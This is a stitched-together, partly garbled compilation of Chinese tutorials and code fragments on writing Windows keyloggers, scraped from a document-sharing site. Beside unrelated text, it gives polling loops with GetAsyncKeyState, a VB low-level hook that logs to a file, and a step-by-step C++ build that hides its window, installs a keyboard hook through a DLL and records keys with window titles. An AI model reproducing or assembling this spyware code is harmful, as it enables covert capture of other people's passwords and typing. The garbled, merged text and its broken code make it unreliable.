MessageBoxButtons.OK);}//***************************************// 计时器控件的Tick事件代码//************************************private void tmrNotepad_Tick(object sender, EventArgs e){//获取系统当前时间,并显⽰在状态栏中tssLbl2.Text = System.DateTime.Now.ToString();}private void 粘贴PToolStripButton_Click(object sender, EventArgs e){richTextBox1.Paste();}}}以上就是本⽂的全部内容,希望对⼤家的学习有所帮助,也希望⼤家多多⽀持。
键盘记录
5)编写应用程序调用KeyboardHook.dll。先调用动态链接库的InstallHook函数安装好钩子,此时即可对系统下的键盘消息实施拦截处理。使用完毕后,通过动态链接库中的UninstallHook函数卸载键盘钩子。
这种键盘记录十分简单。隐蔽性较差。功能也不强,不能记录虚拟键盘的输入。
例如,不考虑其他因素,仅判断“A”键是否按下,大写键是否锁定可以这样实现:
if (GetAsyncKeyState('A') == -32767)
{
if (GetKeyState(VK_CAPITAL)==1) {log << "A";}
else {log << "a";}
菜鸟学习中。。。
争取早日专正,呵呵。
贴上刚开学时写的一份报告,一次小作业。没啥水平。和我一样菜得一塌糊涂的,可以看看。。。
本人信息安全科班生,水平之低,令人发指。对诸位自学成才的十分佩服。以后还请多多指教。先行谢过
Ring3层键盘记录的实现
本文主要论述、对比了用户层主要的三种实现键盘记录的方法:利用钩子函数、轮询键盘消息和直接从输入设备获取数据。
{
wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey))
}
delete[] lpb;
这类键盘监控程序比前面两种获取信息的能力要强,可以获取软键盘的输入。
4.汉字输入记录
2.GetAsyncKeyState
利用GetAsyncKeyState实现键盘记录也十分简单,这个函数根据虚拟键表判断按键类型。返回值为一个16位的二进制数,如果被按下则最高位为1,即返回-32767,但是如果需要对键盘进行全局性的记录,则需要与另 一个API函数GetKeyState配合使用才能实现。原因在于GetAsyncKeyState函数只在按键的瞬间执行一次,如果按下的键是开关键 (如:caps lock),那么过了那一瞬间GetAsyncKeyState函数则不起任何作用。而这个时候就需要用GetKeyState来判断该开关键是否按下。因为每个键的虚拟码是唯一,在这样一种情况下,不管在大写情况还是小写情况下,按下的键记录下来的信息都是一样的。这个时候就需要一次判断,需要判断有两个键是否按下,一个是caps lock是否按下,一个是shift是否按下,因为shift不属于开关键,那它自然就不需要GetKeyState函数,但是caps lock是一个开关键它在这种情况下就需要用GetKeyState函数。所以在这种特例下我们就需要用GetKeyState函数了。另外insert 这个键也是一种特例它也需要用GetKeyState函数来判断。
VB110键盘记录器
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook) '程序退出时
Open "D:\getkey.txt" For Append As #1 '打开文本
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化数据
appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl"
轻松监控键盘的“一举一动”:简单键盘记录器
“ 文件 密 码 箱 ” 集 成 了加 密 、 拟 存 是 虚 储、 防泄 密反窃 密等多 种技 术 而开发 的一 款 加 密及安 全存 储 管 理 软件 。 软件 绿 色 、 安装 、 免 无插件 、 永久 免 费。 软件 支 持本 地常 规 加 密 、 优 盘 移 动 加 密 、 盘 归 档 加 密 及 网 络远 程 加 光 密等 多 种应 用 。 次运 行会 有 向导 提 示 框 , 首 我 们 需要 先 创建 一个 密码 箱 , 点击 软件界 面上 的 密码 箱 按 钮 从 弹出 的列 表 内选 择 创 建 密 码 箱 即可跳 出创 建 窗 口, 户只需 选 择合 适 的盘 符 用 和密 码 箱 名称 , 后点击 “ 定 ”按 钮 即可创 然 确 建 密 码箱 。 在点击 创 建 密码 箱 后 , 件 会提 示 软 用 户为创 建 的密 码箱 设 定 密码 , 并且 为了避 免 用 户忘记 密码 还提 供 了密码 提 示 功能 , 此 之 除 外 如果用 户觉 得 密码 不方 便记 忆 的话 , 选择 可 密钥 文件 , 密码 和 图片进 行 绑 定 , 图片 同 将 该 样 也可 以起 到打 开密 码箱 的作 用 。 创建 了密 在 码 箱后 我们 即可使 用拖 曳 或者 复 制 , 剪切 的方 式 对 文件 进行 加密 。
台忠实的记录下电脑键盘所输入 的信息了 用户 。
如果 想 查 看 记 录 结果 的话 可 以先 通 过使 用 快 捷 键 “ T L S IT F 0 呼 出界 面 , 后点 击主 C R + H F + l” 然 界面 的 “ 看 记 录 ” 键 。 件支 持 将键 盘 记 录 查 按 软 信 息 以E al 形式 发 送 到用 户指 定 邮箱 中, mi 的 通
键盘记录器代码
break; case 191:
if(IS) KeyString = "?";
else KeyString = "/";
break; case 192:
if(IS) KeyString = "~";
else KeyString = "`";
break; case 219:
KeyString = "[Backspace]"; else if (Key == VK_RETURN) // 回车键、换行
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // 空格 KeyString = " ";
//上档键:键盘记录的时候,可以不记录。单独的 Shift 是不会有任何字符, //上档键和别的键组合,输出时有字符输出
for(int i = 8; i <=255; i++) {
if( (GetAsyncKeyState(i)&1) ==1) {
TempString = GetKey (i); if ( (GetKeyState(VK_CONTROL)&0x80)==0x80)//判断 Ctrl 键是否已经被按下 过
{ file.SeekToEnd(); file.Write("\r\n",strlen("\r\n"));//换行
} file.Write(TempString,TempString.GetLength()); file.Close(); } } } CString GetKey(int Key) // 判断键盘按下什么键
打造自己的键盘记录器
打造自己的键盘记录器作者:zaroty偶破博:/zaroty说起键盘记录,想必很多朋友都用过网上流传的一些键盘记录软件吧,但是有没有想过自己写一个呢?也许你会想:会不会很复杂啊?我可以很负责的告诉你,写键盘记录是很简单的。
你所需要的仅仅是懂得一些C语言的DLL编写,剩下的就是仔细的研究下MSDN上面的函数和一些耐心啦。
下面就让我这小菜带大家来写属于自己的键盘记录器吧。
说道键盘记录,免不掉要说一下Windows的HOOK函数。
通过搜索引擎,我们会得到好多关于hook的定义,这里就用比较通俗易懂的话来说下什么是hook。
Hook可以说就是一个间谍,假如你想要给你远在马来西亚的女朋友写一封信,你可以直接把写好的信投到邮局,然后由邮递员送到你女朋友手里。
但是当hook这个阴险的间谍出现时,事情就完全发生了变化。
Hook会赶在邮递员把你的信送出去之前进行一些你并不想要的操作,这样一来,你的信可能被修改、复制,甚至直接销毁。
那么按键消息也就像你的那封信一样,当在系统中安装了hook之后,就可以截取所有的键盘消息,从而对这些消息进行操作,还可以决定是否继续将这个消息传送到另外一个正在等候的程序。
通过上面简单的比喻,我想大家应该对hook有了一个简单的认识,下面我们来说下hook 的分类以及一些具体的使用。
Hook可以分为下面几种,不同类型的钩子有着不同的作用:WH_CALLWNDPROCWH_CALLWNDPROCRETWH_CBTWH_DEBUGWH_KEYBOARD_LLWH_MOUSEWH_MOUSE_LLWH_MSGFILTERWH_FOREGROUNDIDLEWH_GETMESSAGEWH_JOURNALPLAYBACKWH_JOURNALRECORDWH_KEYBOARDWH_SHELLWH_SYSMSGFILTER这么多的钩子类型,我们在这一不去进行一一的解释,仅仅拿出我们需要的两个来说一下,其他的大家可以参阅MSDN上的SetWindowsHookEx函数的定义。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
新建win32项目
键盘记录器的思路
1.窗口消息处理的框架
一注册窗口类
MyRegisterClass
二实例化并创建窗口
InitInstance
三处理窗口消息
WndProc
2.改造窗口,让它隐藏
3.1 WM_CREATE是窗口创建函数
3.2 WM_DESTROY是窗口关闭函数
建立之初,程序默认窗口是显示的,所以会建立一个ShowWindow(hWnd, nCmdShow);
我们要让他隐藏,那就要改第二个参数ShowWindow(hWnd, SW_HIDE);
3.让这个程序运行起来了就开始监控按键操作,程序结束了就结束监控.
那么我们怎么知道程序什么时刻运行起来了呢,我们是根据其窗口的创建与关闭来判断
在建立项目之初,他没有帮我们写WM_CREATE函数,所以在处理窗口消息部分WndProc 中写入case WM_CREATE:
…………………… //这一部分就是窗口建立之后所运行的程序,我们在这一部分就
开始
//写我们所要实现的记录功能,我们称之为钩子函数。
以下为建立钩子程序
这个函数我们要在解决方案里重新新建一个空项目keyhook,后选择动态程序dll(动态加载,而不是
直接运行),实现这个功能,我们只要在这里调用函数即可
在建立keyhook项目完成后要新建一个头文件和cpp文件,来实现钩子的功能
接下来在头文件自己定义两个函数来启动钩子bool installhook(); 和关闭钩子bool uninstallhook(); 并且复制到cpp文件中,
注意:要让其他文件用到这两个函数,必须要在头文件中将两个函数改写成
extern"C"_declspec(dllexport) bool installhook();
“C”是指这是c语言代码
_declspec是一个函数
dllexport参数是动态库导出
要在键盘记录器的cpp文件中使用这两个函数,所以要包含其头文件,注意,由于所要包含的是一个动态库,所以是#pragma comment(lib,"keyhook"),而不是以前的#include,除此之外还要导入动态库中的函数,也就是将函数在声明一遍,记住要改dllexport成dllimport,因为这是导入,不是导出,如下
#pragma comment(lib,"keyhook")//导入动态库
//导入动态库中的函数
//启动钩子
extern"C"_declspec(dllimport) bool installhook(); //自己定义的函数
//关闭钩子
extern"C"_declspec(dllimport) bool uninstallhook();
然后就开始写钩子程序
要实现以下功能
//获取用户的按键消息
用到SetWindowsHookEx函数,要包含Windows.h的头文件
SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
第一个参数代表的是我们要获取键盘的消息
第二个参数就是自己定义的函数,就是监控这个消息之后你要做什么事情(在这里就是同时获取当前窗口的标题并同时获取当前按下的按键文本并保存到文件中),这个函数的类型是HOOKPROC,按下F12后是typedef LRESULT (CALLBACK* HOOKPROC)(int code, WPARAM wParam, LPARAM lParam);
在这里我们定义这个函数为keyProc来实现这两个功能但我们得要在头文件中声明这个函数,然后才能在cpp文件中使用
这个功能用如下程序来实现
LRESULT CALLBACK keyProc(int code, WPARAM wParam, LPARAM lParam){
char szWriteText[256]; //用来保存标题和文本
char szWindowTitle[256]; //保存标题
char szKeyText[256]; //保存文本
//并同时获取当前窗口的标题
HWND hwnd; //创建一个窗口的实例句柄
hwnd = ::GetActiveWindow();//让这个窗口句柄等于当前正在使用的窗口
if (hwnd == NULL)//如果拿不到串钩
{
hwnd = ::GetForegroundWindow();//令窗口等于最顶层窗口
if (hwnd == NULL)//如果还拿不到
{
return CallNextHookEx(g_hHook, code, wParam,lParam);//启动下一次钩取}
}
GetWindowTextA(hwnd, szWindowTitle, 256);//获取窗口文本语句
//并同时获取当前按下的按键文本
if (code < 0 || code == HC_NOREMOVE)//如果键按下了之后还没有弹起来
{
return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}
if (lParam & 0x40000000)//代表一种异常情况
{
return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}
GetKeyNameTextA(lParam, szKeyText, 256);//获取按键文本语句
sprintf(szWriteText, "%s:%s\r\n", szWindowTitle, szWriteText);
//吧拿到的文本放到文件中
FILE* fp = fopen("C:\\Users\\14612\\Desktop\\键盘记录器.txt","a");
if (fp == NULL)//打开文件失败
{
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
fwrite(szWriteText, 1, strlen(szWriteText), fp);
fclose(fp);
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
第三个参数是得到要调用当前应用程序的实例句柄GetModuleHandle是一个函数其作用是获得当前模块的实例句柄,其参数为当前函数的名字keyhook
对于SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
我们可以定义一个句柄来代表他,因为在其他的函数中可能要用到它
//并同时获取当前窗口的标题
g_hHook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
这个实例句柄的类型是HHOOK
所以我们要先定义
HHOOK g_hHook;
最终钩子的程序为
bool installhook(){
//获取用户的按键消息
g_hHook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
if (g_hHook == NUll)return false;
MessageBox(NULL, L"设置钩子成功!",L"提示", NULL);
return true;
//并同时获取当前窗口的标题
//并同时获取当前按下的按键文本
}
然后关闭钩子的程序
bool uninstallhook(){
return UnhookWindowsHookEx(g_hHook);
}
至此,钩子程序完成
然后在窗口建立之后调用钩子函数即可
3.1 WM_CREATE是窗口创建函数
3.2 WM_DESTROY是窗口关闭函数
case WM_DESTROY:
PostQuitMessage(0);
break;
3.3 创建动态库
3.3.1 新建DLL工程
3.3.2 动态库DLL中函数声明的同时导出
3.3.3 使用动态库的代码中要导入动态库并导入动态库中函数
4.拿到用户操作的窗口标题
5.拿到用户按键的字符。